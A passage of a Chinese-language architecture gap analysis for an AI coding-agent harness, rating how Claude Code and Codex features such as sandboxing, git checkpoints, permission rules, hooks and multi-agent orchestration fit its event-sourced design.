+### OS sandbox (seccomp/landlock, bubblewrap/sandbox-exec, network sandbox + proxy) — `extension` + +*core · both* · 依据:L3 Tools 与 workspace 'bash 沙箱等级' / L2 关卡[4] / 决策#8/#13 + +L3 明确把 'bash 沙箱等级' 列为 workspace 抽象的组成部分,per-tool 沙箱配置由决策#13 的 tool 定义数据承载。bubblewrap/seccomp/landlock 与网络代理都是 L2 execute 关卡内部的平台实现细节,实际执行等级可记入 EffectResolved(决策#8 的 event 本就携带全部关卡判定),审计路径现成。是体量不小的新增执行层代码,但完全在 execute 关卡内部,不触碰管线形状或任何已定决策。 + +### Sandbox escalation retry with approval (Codex-style) — `extension` + +*core · codex* · 依据:L2 effect pipeline 关卡[2] / 决策#9 / L3 spec permissions.rules + +Codex 的 '沙箱内失败 → 出沙箱重试需审批' 无需管线回跳:第一次 sandboxed 执行失败按决策#9 渲染为 error tool_result 且 loop 继续;升级重试是以 sandbox=off 参数重新提交的新 effect,完整再过一遍 hooks→permission→budget→execute,permission 关卡按 rules 判 ask 进入 WAITING_APPROVAL(L2 关卡[2] 原文机制)。permission rules 按沙箱等级参数匹配是现有 path pattern 匹配(spec 示例 'path: src/**')的同类扩展。整条流程是现有关卡的组合,不是新机制。 + +### Workspace path boundary + --add-dir multi-root — `extension` + +*important · both* · 依据:L3 Tools 与 workspace '路径边界' / L3 Context assembly prefix 稳定性 / L1 Checkpoint 与 workspace + +'路径边界' 是 L3 workspace 抽象的原文组成。多目录需要把边界检查从单 root 扩展为前缀集合,permission rules 的 path pattern 天然支持多前缀。运行时 /add-dir 会改动 system prompt 环境块从而打爆 prompt cache prefix,但 L3 已给出出口:'任何会打爆 prefix 的操作要么禁止要么显式换代'——用户主动 add-dir 正是显式换代场景。需文档化的一点:per-turn git commit 只覆盖主 workspace,额外目录的 rewind 按 'bash 逃逸不在承诺内' 处理,与 Claude Code 行为一致。 + +### Checkpoint via in-workspace git: conflicts with agent/user git operations — `friction` + +*important · claude-code* · 依据:决策#7 / L1 Checkpoint 与 workspace 'workspace 内 per-turn git commit' / L4 rewind 定义 + +障碍是决策#7 与 L1 原文 '实现为 workspace 内 per-turn git commit'——workspace 通常本身就是用户的 git repo,而 git status/commit/push 是 coding agent 的日常操作。具体失败场景:(1) agent 按用户要求 git commit 后,turn 边界的 checkpoint commit 落在同一 branch 上,用户 push 时把 harness 的检查点历史推上远端;(2) rewind = 'workspace 恢复到对应 commit',在用户 repo 上即 reset --hard,会强移当前 branch ref,使 agent 期间创建的真实 commit 失去引用;(3) 并行 tool call 是常态(L3),harness 的 checkpoint commit 与 agent 的 git 命令竞争 .git/index.lock 随机失败。Claude Code 用 shadow repo(独立 GIT_DIR + 独立 index 共享 worktree)正是为了消除这三类冲突。修复不动 L0-L2 管线,但必须改写决策#7 的实现选择——典型 friction。 + +### Checkpoint on non-git directories and very large repos — `friction` + +*important · claude-code* · 依据:决策#7 '不可随意删除' / L1 Checkpoint 与 workspace '便宜、可 diff' + +同根因于决策#7 的 in-workspace git 选择。非 git 目录:per-turn commit 前提是 workspace 已是 git repo,否则必须对用户目录 git init——悄悄把普通目录变成 repo,.git 的出现会改变 IDE/构建工具行为,shadow GIT_DIR 方案则无此副作用。超大 repo:每 turn 全量 git add 扫描 worktree,monorepo 下每 turn 秒到十秒级延迟,设计原文 '便宜、可 diff' 低估了成本;且 checkpoint object 写进用户 repo 的 .git 会使其永久膨胀,而决策#7 又规定 workspace 快照 '不可随意删除',连 gc 都不敢做。失败场景:用户在 5GB monorepo 上跑 agent,每个 turn 卡数秒且 .git 持续膨胀,唯一解法是改决策#7 换 shadow repo + 排除策略。 + +### Worktree isolation for parallel agents on same repo — `extension` + +*important · both* · 依据:L3 Tools 与 workspace 'worktree 级隔离' / L4 fork/rewind barrier + +L3 原文一句宣称 'worktree 级隔离支持多 agent 并行改文件',schema 意义上已预留。需要新增:workspace 抽象的 per-agent-instance 实例化(spawn 时 git worktree add)、子 agent 结束后的合并/清理策略。git worktree 共享 object store 但 refs/index 独立,与 barrier 语义('全部子 agent 静默')配合自然。注意其 checkpoint ref 管理若叠加在 in-workspace git(前一条 friction)之上会更乱,但根因在决策#7 而非 worktree 机制本身,故本条判 extension。 + +### WebFetch / WebSearch tools — `clean` + +*important · both* · 依据:L3 Tools 与 workspace / 决策#6 / L3 Context assembly 截断 + +L3 原文在内置套件里明确列出 'web fetch/search'。作为 activity 走 L2 管线,retry/backoff/rate-limit 由决策#6 'retry 是 activity 的通用属性' 覆盖,超大响应由 tool_output_limit 截断,URL 级管控由 permission rules 的参数匹配(同 path pattern)覆盖。全部机制现成。 + +### Plan file / scratchpad auxiliary workspace — `extension` + +*important · both* · 依据:决策#10 / L3 Tools 与 workspace / L1 Checkpoint 与 workspace + +plan mode 本体已由决策#10 完整覆盖('plan = 只读工具面 + 计划指令注入 + ExitPlanMode 工具',mode 跃迁是 event)。plan file/scratchpad 目录是 workspace 外的辅助根:路径边界需允许该目录(复用多 root 机制),并文档化它不受 per-turn commit 覆盖、rewind 不回滚 plan 文件(Claude Code 同样不回滚 scratchpad)。新增少量目录管理与配置代码,顺着 workspace 抽象走。 + +### Rewind granularity: code-only / conversation-only / both — `clean` + +*important · claude-code* · 依据:L4 Session 管理 'rewind = fork + workspace 恢复' / 决策#7 + +L4 原文已把 rewind 定义为两个正交操作的显式组合:'rewind = fork + workspace 恢复到对应 commit'。三选一即暴露组合:只回对话 = fork 到 barrier 不恢复 workspace;只回代码 = workspace 恢复到 checkpoint commit 不动对话;两者 = 完整 rewind。barrier 粒度(turn 边界 + 子 agent 静默)与 Claude Code 的 per-user-message 回退粒度一致。机制正交且现成,只是 surface 层的命令组合。 + +### Fork workspace isolation (fork without rewind, parallel exploration) — `extension` + +*nice-to-have · claude-code* · 依据:L4 Session 管理 fork / 决策#7 / L3 'worktree 级隔离' + +L4 只说 'fork 复制 stream 闭包在 barrier 处的一致切面',未定义 fork 出的新 run 的 workspace 指向——若与原 run 共用同一目录,两个活 run 并行推进会互踩文件。但补齐所需机制全部现成:barrier 处必有 workspace commit(决策#7),从该 commit 用 worktree(L3 已列)为新 run 实例化独立工作目录即可。属于语义空白 + 新增 fork 时的 workspace 实例化代码,不与任何决策冲突。 + +### Streaming tool output to frontend (live bash stdout) — `extension` + +*important · both* · 依据:L3 Streaming 的持久化边界 / L1 ActivityCancelled{partial_output} / L4 交互协议 + +与 token delta 完全同构:增量走 bus、显式 ephemeral(设计自称这是 '原则 2 的正版应用而非违反'),持久化的只有最终 tool_result event;ActivityCancelled{partial_output} 已证明 activity 具备 partial output 概念,前端经 L4 交互协议订阅输出 topic 即可渲染。需新增的只是 activity 执行器向 bus publish stdout 增量的代码,零契约改动。 + +## 权限与 hooks(21 项) + +### permission modes (default/acceptEdits/plan/bypassPermissions) + mode transitions — `clean` + +*core · claude-code* · 依据:L2 effect pipeline mode 段 / 决策#10 / 决策#4 / L3 context assembly prefix 不变量 + +决策#10 把 mode 显式建模为数据:工具面过滤 + prompt 注入 + 跃迁规则,并逐一给出对应机制——plan =『只读工具面 + 计划指令注入 + 专用 ExitPlanMode 工具(其审批通过即触发 mode 跃迁,跃迁本身是 event)』,acceptEdits 依赖 tool 定义里的类别标签(edit/execute/read-class)。『hook 与 mode 的优先级明确:bypass 不跳过 hooks』直接对齐 Claude Code 语义。运行时 Shift+Tab 切 mode = 用户输入按决策#4 journal 后产生跃迁 event;mode 切换改变工具面/注入 prompt 会打 prefix,context assembly 段已规定此类变更『要么禁止要么显式换代』。落进 roadmap M2/M3 即可。 + +### PreToolUse hook: observe + block (exit code) — `clean` + +*core · claude-code* · 依据:L2 关卡[1] / 决策#8 / 决策#9 / 决策#11 / roadmap M2 + +这正是 L2 关卡[1] 的 v0 能力:『v0: observe + block(exit code),不做改写』,hook block 面向模型渲染为 error tool_result(决策#9),执行记录进 EffectResolved 且恢复时不重跑 hook 脚本(决策#8)。roadmap M2 已排期 hooks(observe/block),spec 里也有 hooks.pre_tool_use 字段。 + +### permission rule syntax: Bash(git:*), Edit(src/**), mcp__server__tool, WebFetch(domain:...), deny>ask>allow precedence — `extension` + +*core · claude-code* · 依据:L3 agent spec permissions 段 / 决策#8 / 决策#17 + +现有 spec schema 的 rules 只有 {tool, path, action} 三个字段(researcher.yaml 示例),要覆盖 Bash 的 command 前缀匹配(含复合命令拆分)、WebFetch 的 domain 匹配、MCP 的 server+tool 命名,需要给每类 tool 定义各自的 matcher 字段和一个 deny>ask>allow + 最长匹配的判定引擎。但『policy 是数据』(决策#8、原则4)和『permission rules 按文档化顺序拼接』的框架完全容纳新 matcher 种类——纯粹是丰富 rule schema 与匹配实现,不动任何层间契约。MCP tool 天然走同一管线(决策#17:McpToolCalled 是 activity),规则按名引用即可。 + +### five-layer settings: enterprise managed > CLI flags > local > project > user — `extension` + +*important · both* · 依据:L3 配置分层段 / roadmap M4 / 决策#14 + +设计明说『配置分层从简:spec + 单个 project settings 文件两层起步……三层与更细的合并语义等真实冲突出现再加』,且已文档化了拼接顺序机制(local > project > spec,标量覆盖 + rules 按序拼接)。扩到五层就是往这个有序列表里加层:enterprise managed 的『不可被下层覆盖』= 该层的 deny/ask 在判定引擎里绝对优先,仍然是数据;CLI flags 由 L4 薄壳在加载时注入为一层,符合『core 是库、surface 是薄壳』(决策#14)。按判定口径这是明确推迟且路径已画出的 extension,没有藏结构性问题。 + +### 'always allow' — approval writes rule back to settings, runtime policy update takes immediate effect — `extension` + +*important · claude-code* · 依据:L1 journal 一切输入 / 决策#4 / L1 fold 模型 / L2 关卡[2] + +审批应答本来就是 journaled event(L1『审批应答以 event 到达后继续』、决策#4),给应答加 scope 字段(once/session/always),有效 policy = 静态配置 + fold 出的运行时增量,正是『state = fold(events)』的直接应用——resume 后增量规则随 fold 自动恢复,permission 关卡读 folded policy 即可即时生效。写回 settings 文件是一次普通副作用,由 L4 或走管线执行。唯一要定义的小语义是外部手改 settings 文件与 fold 增量的合并顺序,但不构成结构障碍。 + +### rich approval UI: diff preview, edit-input-then-approve, approve-and-remember — `extension` + +*important · claude-code* · 依据:L4 交互协议 / 决策#9 / L3 compaction 是 recorded activity + +diff 预览是 frontend 从 ApprovalRequested 携带的 effect payload(edit tool 的 old/new)本地计算,交互协议已列出 ApprovalRequested 与 permission 判定的输出事件流;『批准并记住』见 always-allow 条目。『修改输入后批准』需要一个明确模式:应答 event 携带 updatedInput,loop 以『原 effect 记 deny + 合成新 effect 重走完整管线(pre-hook 重新审视改后输入)』落地——compaction 已证明 loop 可以合成非模型发起的 effect,tool_result 仍按原 tool_use id 配对(决策#9),causation 链解释两条 EffectResolved 对一个 tool_use。全程顺着现有抽象,不改契约,但这个重入模式需要被显式设计而非顺手写出。 + +### programmatic/headless approval (canUseTool callback, permission-prompt-tool, non-interactive fallback) — `clean` + +*important · both* · 依据:L1 挂起是显式状态 / L2 关卡[2] / L4 交互协议 / 原则5 + +设计把审批彻底事件化:ask ⇒ ApprovalRequested event + WAITING_APPROVAL 显式状态,『等几分钟或几天成本相同,进程死了也一样』;而『frontend 是普通 actor:订阅输出 topic,向 run 发输入』(原则5)意味着 SDK 回调或 permission-prompt-tool 就是一个订阅 ApprovalRequested 并发应答 event 的 actor,不需要任何特权通道。headless 单发要么 durable park 等待、要么挂一个自动应答 deny 的 actor,两者都是现有机制的直接组合。 + +### parallel tool calls × permission (allow runs concurrently, ask serialized without blocking allowed calls) — `clean` + +*important · both* · 依据:L3 agent loop 并行 tool call 段 / roadmap M3 + +L3 agent loop 原文直接规定了这个语义:『一条 assistant 消息含 N 个 tool_use 时,每个 call 独立过管线;判定为 allow 的并发执行,判定为 ask 的按序等审批(审批挂起不阻塞已放行的 call);完成 event 按到达顺序落盘』。这是 Claude Code 并行工具调用审批行为的逐句对应,roadmap M3 已排期。 + +### subagent permission inheritance & approval routing to human — `clean` + +*important · claude-code* · 依据:L3 multi-agent 审批路由/权限继承 / roadmap M5 + +Multi-agent 节明文两条:『权限继承:child 的有效权限 = child spec ∩ parent 有效权限,子 agent 不能越过 parent 的边界』和『审批路由:child 的 ask 沿 correlation id 冒泡到 session 的 frontend——审批的永远是人,不是 parent agent』。∩ 语义与事件化审批 + correlation 链直接给出实现路径,M5 已排期。 + +### PreToolUse updatedInput (hook mutation of tool input) — `extension` + +*important · claude-code* · 依据:决策#11 / L2 关卡顺序 / 决策#8 / L3 prefix 稳定性 + +决策#11 明确推迟 mutation 并点名了原因(顺序/缓存/重放问题),按判定口径先算 extension;关键是论证推迟处没藏结构问题:管线顺序 hooks(pre)→permission 恰好使改写发生在 permission 判定之前,判定的是改写后的输入,与 Claude Code 语义一致;EffectResolved 记录 {原输入, 改写链, 终输入},恢复读记录值不重跑脚本(决策#8);改写只影响执行参数,assistant 消息里的 tool_use 原文不变,不触碰 prefix 缓存不变量。三个被点名的问题在现契约内都有答案,长出来是顺的。 + +### PreToolUse permissionDecision short-circuit (hook returns allow/deny, skips ask) — `extension` + +*important · claude-code* · 依据:L2 关卡[1]→[2] 顺序 / 决策#8 / L2 mode 段优先级句 + +pre-hook 关卡在 permission 关卡之前,hook 输出对下游关卡可见是管线内部的数据流;给 hook 输出协议加 permissionDecision 字段、permission 关卡尊重之,判定同样记入那条 EffectResolved。设计里『hook 与 mode 的优先级明确』一句说明关卡间优先级本来就是要显式定义的内容。纯管线内扩展,不动 L2 对外契约。 + +### PostToolUse hook feedback appended for the model — `extension` + +*important · claude-code* · 依据:L2 关卡[5] / 决策#9 / 决策#8 + +关卡[5] 已在管线上,缺的是『hook 输出成为模型可见内容』这条通路:决策#9 已经为『给模型的错误』定义了 tool_result 渲染通道,post-hook feedback 附加到 tool_result 或作为 systemMessage 是同一通道的自然延伸;结果记录在 EffectResolved 里,fold→context assembly 渲染时带上即可,resume 后可精确重建。注意其持久性边界问题单列在 hook execution durability 条目。 + +### hook execution durability & EffectResolved write timing (crash window) — `friction` + +*important · claude-code* · 依据:决策#8 单条 EffectResolved / 决策#11 hooks 不是 effect / 决策#6 in-doubt / L2『恢复不重跑 hook 脚本』 + +决策#8 规定整条管线对一个 effect 只产生一条 EffectResolved,『携带全部关卡判定(hook 结果、permission 判定、budget 判定)』——若包含 post-hook 结果,这条事件必须等 post-hooks 全部完成才能落盘,则 pre 关卡的自动放行判定在 execute 期间只存在于内存;而 hooks 又被决策#11 排除在 activity 之外,没有 Started/Completed 双落盘,决策#6 的 in-doubt 检测覆盖不到它们。失败场景:post-hook(如 formatter 脚本)执行到一半进程被 kill——activity 已 Completed,EffectResolved 永远没写;恢复路径规定『不重跑 hook 脚本』,于是 pre-hook 与 permission 的判定记录永久缺失,post-hook 处于既不能重跑(有副作用)也无任何事件可标记 in-doubt 的悬空状态。修法要么拆成 pre/post 两条 event(局部推翻单条事件的决策初衷),要么给 hook 引入 activity 式记录(局部推翻决策#11),设计需二选一。 + +### UserPromptSubmit hook (inject context / block user input) — `friction` + +*important · claude-code* · 依据:原则3 / 决策#11 / 决策#8 / 决策#4 / L1 fold 模型 + +原则3 与决策#11 把 hooks 定位为『这条管线上的关卡,不是四个子系统』『管线机件不是 effect』,且 hook 执行的唯一记录通道是 EffectResolved——但用户 prompt 提交不是副作用、不进 effect 管线,UserPromptSubmit hook 在现架构里没有执行点也没有记录通道。要支持必须新增『管线外 hook site』概念:在 InputReceived journal 之后、turn 边界消费之前执行脚本,其判定与注入内容必须落成新种类的 event(注入内容改变 fold→context assembly 的结果,按决策#4 精神必须先 journal),并把『恢复不重跑 hook』的保证复制到新通道。失败场景:团队配置 UserPromptSubmit 注入当前 ticket 上下文——若注入结果不入 log,crash 后 resume 的 fold 重建出的对话与实际发给模型的内容不一致,直接破坏『state 是 event log 的纯 fold』不变量。这是对决策#11/原则3 hook 定位的局部修订,而非顺着抽象自然长出。 + +### Stop / SubagentStop hook (refuse stop, force loop to continue) — `friction` + +*important · claude-code* · 依据:原则3 / 决策#11 / L3 agent loop 终止路径 / 设计目标『由组合得出而不是逐个特判』 + +同 UserPromptSubmit 的根因:『run 结束』不是 effect,Stop hook 无处可挂。且它比其它 lifecycle hook 更深地介入 loop 契约——hook block 后 loop 必须带着 hook 消息继续跑,等于合成了一个非用户来源的 turn 输入,现有 event 语汇(InputReceived 类)没有这个概念,而这个 verdict 不 journal 的话,resume 后无法解释 run 为什么没有在 model finish 处结束。可以把『停止』建模为伪 effect 走管线让 pre-hook 拦截,但这把管线的定义域从『所有副作用』悄悄扩成『所有需要关卡的动作』,同样是改原则3 的口径。失败场景:配置 Stop hook 强制『测试通过才许停』——现设计 agent loop 的终止条件与 L2 管线无接口,实现只能在 loop 里硬编码一个特判 hook 点,恰是设计自己反对的『逐个特判实现』。 + +### SessionStart / SessionEnd hooks — `extension` + +*important · claude-code* · 依据:L1 snapshot-resume / 决策#4 / L3 context assembly / 原则6 + +执行点清晰(run 启动与 resume 之后、loop 开始之前;结束时),SessionEnd 是 observe-only 不影响 run,几乎零成本;SessionStart 的上下文注入需要 journal 成 event 进 fold(同决策#4 的『影响 run 结果的输入先落盘』),注入位置放在消息流而非 system prompt 就不碰 prefix 不变量。resume 时跑 SessionStart 是一次全新的、被记录的执行而非重放,不违反『恢复不重跑 hook』——fold 保持纯,副作用发生在 fold 完成后的 loop 里。前提是先有 lifecycle hook site 的通用概念(见 UserPromptSubmit 条目),但 SessionStart 本身的接入是顺的。 + +### PreCompact hook — `clean` + +*nice-to-have · claude-code* · 依据:L3『Compaction 是 recorded activity』/ 原则3 / L2 关卡[1] + +这是 lifecycle hooks 里唯一天然有挂点的:设计明确『Compaction 是 recorded activity——它本身是一次 LLM 调用(非确定性副作用)』,而原则3 规定所有副作用流经 effect 管线,所以 compaction 会经过关卡[1],PreCompact 就是一个按 effect 类型(而非 tool 名)匹配的 pre-hook。只需 hook 配置的 matcher 支持 effect 类型过滤,记录、恢复语义全部复用 EffectResolved 现有机制。 + +### Notification hook — `extension` + +*nice-to-have · claude-code* · 依据:L4 交互协议输出事件流 / 原则5 / L1 显式等待状态 + +通知时机(等审批、等输入、空闲)在设计里都是显式 event/状态(ApprovalRequested、WAITING_INPUT),而原则5 说 frontend 是订阅输出 topic 的普通 actor——Notification hook 就是一个订阅这些 event 并执行脚本的 actor,observe-only、输出不影响 run,因此不需要 journal,也不需要碰管线。只差把 hook 配置装配成订阅者的胶水代码。 + +### hook timeout, parallel execution, async hooks — `extension` + +*important · claude-code* · 依据:L2 关卡[1]/决策#8 / L1 timeout 段 / 决策#4 / L3 steering + +关卡内并发执行 N 个匹配脚本并合并判定是 gate 内部实现;hook timeout 用普通 wait_for 而非 durable timer 即可——L1『绝不在关卡代码里读墙钟』针对的是重建时会重算的判定,而 hook 结果一次性记录进 EffectResolved、恢复不重跑,墙钟超时无重放风险。async hook 若输出需回流模型,就是一个外部输入:按决策#4 journal 成 event、turn 边界消费,与 steering 完全同构。都不动契约。 + +### hook merging from config layers and plugins — `extension` + +*important · claude-code* · 依据:L3 配置分层段 / L3 agent spec hooks 字段 / roadmap M4 + +配置分层已定义『标量覆盖、列表按文档化顺序拼接』的合并机制,hooks 数组与 permission rules 同样按层拼接即可;spec 里 hooks 已是数据(hooks.pre_tool_use 列表)。plugin 概念在设计中完全缺席,但 plugin 对 hooks 的贡献本质是又一个配置片段来源,落在同一拼接框架上——需要新增 plugin 发现/加载组件(属 M4 生态接入的自然延伸),不需要动 L0-L2。 + +### Codex approval policy (untrusted/on-failure/on-request/never) with sandbox-escape approval flow — `friction` + +*core · codex* · 依据:L2 决策#8 四关卡线性顺序 / 决策#10 mode 三要素 / 决策#9 / L3 workspace『bash 沙箱等级』 + +untrusted(安全命令白名单放行、其余 ask)、on-request(模型带 escalation 参数请求,规则按参数匹配 ask)、never(无 ask)都能用决策#10 的 mode 数据 + rules 表达;卡住的是 on-failure:命令先在沙箱内执行、失败后才请求出沙箱重试的审批。决策#8 的四关卡是线性单向的(permission 在 execute 之前判定一次),没有『执行失败后回到审批关卡』的回边;决策#10 的 mode 三要素(工具面过滤 + prompt 注入 + 跃迁规则)也表达不了这种执行后审批策略。失败场景:on-failure 下 `cargo build` 在只读沙箱内写缓存失败,期望弹出『retry without sandbox』审批,但现设计只能按决策#9 渲染 error tool_result 给模型完事。可行修法是 loop 检测沙箱类失败后合成一个升级参数的新 effect 重走管线(产生第二条 EffectResolved 对同一 tool_use,需定义审计语义并抑制中间 tool_result),或在 execute 关卡内嵌第二次 ApprovalRequested——两者都要局部修改管线契约或关卡职责划分。 + +## 多 agent(18 项) + +### subagent-definition-declarative — `clean` + +*core · both* · 依据:L3 Agent spec(agents:/tools:/model: 字段)/ 决策#13 / 决策#15b + +设计的 agent 完全由声明式 spec(YAML → pydantic)定义,spec 里已有 tools 白名单、model(provider/id/thinking budget,即 effort 类能力走 15b 能力抽象)、agents 子 agent 白名单、permissions。Claude Code 的 markdown+frontmatter 只是同一份数据的另一种载体,加一个 frontmatter loader 映射到同一 pydantic model 即可,决策#13『spec 是数据』直接覆盖。『agent instance = spec + 运行时输入(task、correlation id、parent)』的模板/实例分离也与子 agent 用法吻合。 + +### sdk-programmatic-agent-definition — `clean` + +*important · both* · 依据:决策#14 / 设计原则 5 / L3 Agent spec + +决策#14『core 是库,CLI/headless/server 是薄壳』意味着程序化入口是一等形态而非附加物;spec 是 pydantic model,SDK 用户直接构造 model 实例等价于加载 YAML。不存在特权 frontend(原则 5),所以程序化定义的 agent 与文件定义的 agent 走完全相同的 spawn/权限/审批路径。 + +### spawn-await-fanout — `clean` + +*core · both* · 依据:L3 Multi-agent 三模式 / L2 effect pipeline / Roadmap M5 + +L3 Multi-agent 明确列出三种模式之一:『spawn/await(子 agent 作为 activity,可扇出)』,spawn 作为 effect 过 L2 管线、作为 activity 拿到决策#6 的 retry/取消/in-doubt 语义。并行 tool call 一节已定义 N 个 call 独立过管线、allow 的并发执行,扇出的并发骨架现成。Roadmap M5 已排期。 + +### background-subagents-notify-wake — `extension` + +*important · claude-code* · 依据:L3 Multi-agent 三模式 / 决策#4 / L1『挂起是显式状态』 + +设计列的三模式里没有 detached spawn(父先返回、子完成后唤醒),需要新增第四种模式:spawn effect 立即返回 tool_result{task_id},child 作为独立 actor 继续跑,完成消息按决策#4 journal 成 event、在父的 turn 边界被消费——这正是设计为 steering/timer 已铺好的输入路径。父在 WAITING_INPUT 显式挂起状态被子完成事件唤醒也正是 L1『durable park』的用法。全程不动 L0-L2 契约,只是把『子 agent 作为 activity』的一次性框架换成『actor + journaled 完成事件』的组合。 + +### resume-child-conversation — `extension` + +*important · claude-code* · 依据:L3 Multi-agent『子 agent 作为 activity』/ L0 actor+mailbox / L4 session 定义 + +L3 把子 agent 框成一次性 activity(『只有符合 result contract 的最终报告回流 parent』),续对话需要 child 是可持续会话实体。但底座天然支持:child 本来就是有自己 stream 的 actor(L0),session 闭包含子 agent stream(L4),resume 是 per-stream 的;把『每次 SendMessage 交换』建模为一个 activity、child actor 跨交换存活即可,决策#6 的 Started/Completed 按交换粒度记录不冲突。需要新增 SendMessage effect 与 child 生命周期管理,属于顺着 actor 抽象长出来的组件。 + +### agent-teams-peer-messaging-shared-tasklist — `extension` + +*important · claude-code* · 依据:L3 Multi-agent pub/sub 模式 / L0 Bus / 决策#3、#4 / L3 context assembly prefix 不变量 + +第三种模式『pub/sub 协作(blackboard topic)』就是为 peer 协作设计的;L0 的 send(to,msg) 点对点 + 决策#4『输入先 journal 再消费』给了 peer 直连消息的正确性基础。共享任务列表不能是共享可变状态(决策#3 持久状态只有 log 和 workspace),但建成一个 task-list actor(状态 = 自己 stream 的 fold)是教科书式的 actor 组合。需要补 teammate roster 的运行时注入——为不打爆 prefix 稳定性不变量,应走消息/工具而非 system prompt,实现上有讲究但不碰契约。 + +### handoff — `clean` + +*important · codex* · 依据:L3 Multi-agent 三模式 / L4 Session 管理 / Roadmap M5 + +『handoff(移交后退出)』被明确列为三种模式之一,Roadmap M5 排期。session = correlation id + stream 闭包,接手方共享同一 correlation,frontend 作为普通 actor 订阅输出 topic 不需要感知移交;A→B→A 的回传就是再一次 handoff。现有机制直接覆盖。 + +### approval-bubbling-permission-intersection — `clean` + +*core · both* · 依据:L3 Multi-agent 审批路由/权限继承 / L2 关卡[2] / Roadmap M5 + +两条都是原文明确设计:『child 的 ask 沿 correlation id 冒泡到 session 的 frontend——审批的永远是人,不是 parent agent』和『child 的有效权限 = child spec ∩ parent 有效权限』。审批挂起是 L1 显式等待状态(WAITING_APPROVAL),应答 journal 后继续,跨进程死亡也不丢(决策#4/#5)。唯一待细化点是交集语义对 mode(决策#10,mode 是行为数据不是 rule 集)如何定义,属 M5 细化而非契约修改。 + +### nesting-depth-concurrency-limits — `extension` + +*important · both* · 依据:L2 关卡[3] Budget / L3 Multi-agent 可审计性 / L4 session 定义 + +spawn 是过 L2 管线的 effect,budget 关卡(关卡[3])天然是放深度/并发判定的位置;嵌套深度可从 causation/correlation 链直接推导(L3 保证链路完整),spec 的 agents 白名单已静态约束扇出面。并发上限需要跨 stream 的会话级计数,session = correlation 闭包给出了聚合范围。是顺着关卡抽象加判定逻辑,不动契约。 + +### shared-token-budget-pool — `extension` + +*important · both* · 依据:L2 关卡[3] / L3 spec limits / L3 context assembly(token 归一化记账)/ 决策#8 + +现设计 budget 关卡『turns/tokens/cost 从 event stream 统计』是 per-run 口径(spec limits.max_tokens_total 也是单 agent 的);跨子 agent 池化需要会话级 ledger。并发 children 同时扣减需要单一序列化点以防双花——actor 模型免费提供(一个 budget actor,判定经 mailbox 串行),判定结果照旧记进各 effect 的 EffectResolved(决策#8),LLM activity 已归一化记录 cache_read/write token 使记账口径现成。新组件,但完全顺着 actor + 关卡抽象。 + +### per-agent-worktree-isolation — `extension` + +*important · both* · 依据:L3 Tools 与 workspace / 决策#7 / L4 fork/rewind barrier 定义 + +隔离本身是原文承诺:『worktree 级隔离支持多 agent 并行改文件』(L3 Tools 与 workspace)。但只有这一句意图,子 agent 完工后结果 merge 回父 workspace、以及 workspace 快照(决策#7 per-turn git commit)在多 worktree 下的打点协调(barrier 需记录一组 worktree HEAD 而非单个 commit)都需要真实的新组件。好在 worktree 共享同一 git 对象库,merge/commit 都是普通 git 操作,不碰 L1 契约。 + +### structured-result-contract-json-schema — `extension` + +*important · both* · 依据:L3 Multi-agent result contract / 决策#13 / 决策#6 retry + +设计现状是软约定:『contract 在子 agent spec 的 description/输出约定里声明』,没有 schema 强制。但强制校验是顺手的延伸:tool 定义是携带 JSON schema 的数据(决策#13),给子 agent spec 加 output_schema 字段、在 spawn activity Completed 前校验、不合格走 activity 通用 retry(决策#6)即可;甚至可以像 Claude Code SDK 那样用一个 report 工具收口输出。不动任何契约。 + +### deterministic-workflow-orchestration — `friction` + +*important · both* · 依据:决策#5 / L1 Durability 模型第 2、3 条 / 设计原则 1、6 + +障碍是决策#5(拒绝 Temporal 式 code replay)与 L1 契约『State 是 event log 的纯 fold』+『turn 边界 snapshot』的组合:这套 durability 是为『状态=消息列表+turn 计数+待处理 tool call』的 agent loop 量身定做的,而确定性编排脚本的状态是 Python 控制流位置和局部变量——既不是 event 的 fold,也没有天然 turn 边界。原则 1 宣称 workflow 也是统一模型下的 actor,但没说清它的 snapshot 边界是什么。失败场景:编排脚本扇出 5 个子 agent、await 全部后再跑 merge agent,进程在 3/5 完成时崩溃——按原则 6 只能走 snapshot+补放恢复,线性脚本无 snapshot 可打,除非作者把 workflow 手写成显式状态机(每步完成落 event、fold 出『当前在第几步』)。能做,但把 replay 引擎省下的成本转嫁给了每个 workflow 作者,是决策#5 未言明的隐藏代价。 + +### subagent-transcript-observability-correlation — `clean` + +*important · both* · 依据:L0 Envelope / L3 Multi-agent 可审计性 / L4 Observability + +这是设计的强项:每个 agent 一个 stream、per-stream 完整可审计、causation/correlation 链路完整是 L3 的明文保证;L4 Observability 明确 inspect CLI 渲染『子 agent 树(correlation/causation)、token/cost 消耗』。Envelope 从 L0 起就携带 causation_id/correlation_id,父子关联不是事后拼接而是内建。 + +### cascading-cancellation — `clean` + +*core · both* · 依据:决策#6 / L1 Activity 语义(协作取消)/ L4 session 定义 + +协作取消是 activity 的一等能力(决策#6,『activity 持有 cancel signal』),而子 agent 就是父的一个 activity——取消 spawn activity 即取消 child,child 再对自己的 in-flight activity(含它的子 spawn)递归应用同一机制,级联是机制的直接组合。session = correlation 闭包还给出了『整棵树』的精确目标集,每层取消都以 ActivityCancelled{partial_output} 落盘可审计。M5 落地即可。 + +### multi-agent-session-fork-rewind — `friction` + +*nice-to-have · claude-code* · 依据:L4 Session 管理 fork/rewind / 决策#7『只在显式 barrier 打点』/ L3 Multi-agent 三模式的组合效应 + +障碍是 L4 已定契约:『fork/rewind 只发生在 checkpoint barrier 上(turn 边界 + 全部子 agent 静默 + workspace commit 存在)』且明确『任意 seq N 处的 fork 不提供』,workspace 快照也『只在显式 barrier 打点』。对一次性 spawn/await 这够用(子 agent 很快静默),但与 background 子 agent、持续会话 child、agent teams 组合后,『全部子 agent 静默』的时刻可能长期不存在。失败场景:3 个 teammate 并行干一小时,用户想 rewind 到 20 分钟前——期间无任何全树静默点,一个 barrier 都没留下,整段时间不可回退。要支持需局部松动 barrier 契约(per-subtree barrier 或强制 quiesce 协议),属于对已定契约的修改。 + +### dynamic-runtime-agent-definition — `extension` + +*nice-to-have · claude-code* · 依据:L3 context assembly prefix 不变量 / L3 Agent spec agents 白名单 / 决策#13 + +中途新定义一个子 agent 并 spawn,要更新 system prompt 里的子 agent 目录(『模型不知道 summarizer 存在就永远不会 spawn 它』),会撞 prefix 稳定性不变量——但设计已给出出口:『任何会打爆 prefix 的操作要么禁止要么显式换代』,付一次 cache 换代成本即可。spec 的 agents 白名单是数据,运行时扩展白名单走配置变更路径;新 spec 加载复用现有 pydantic 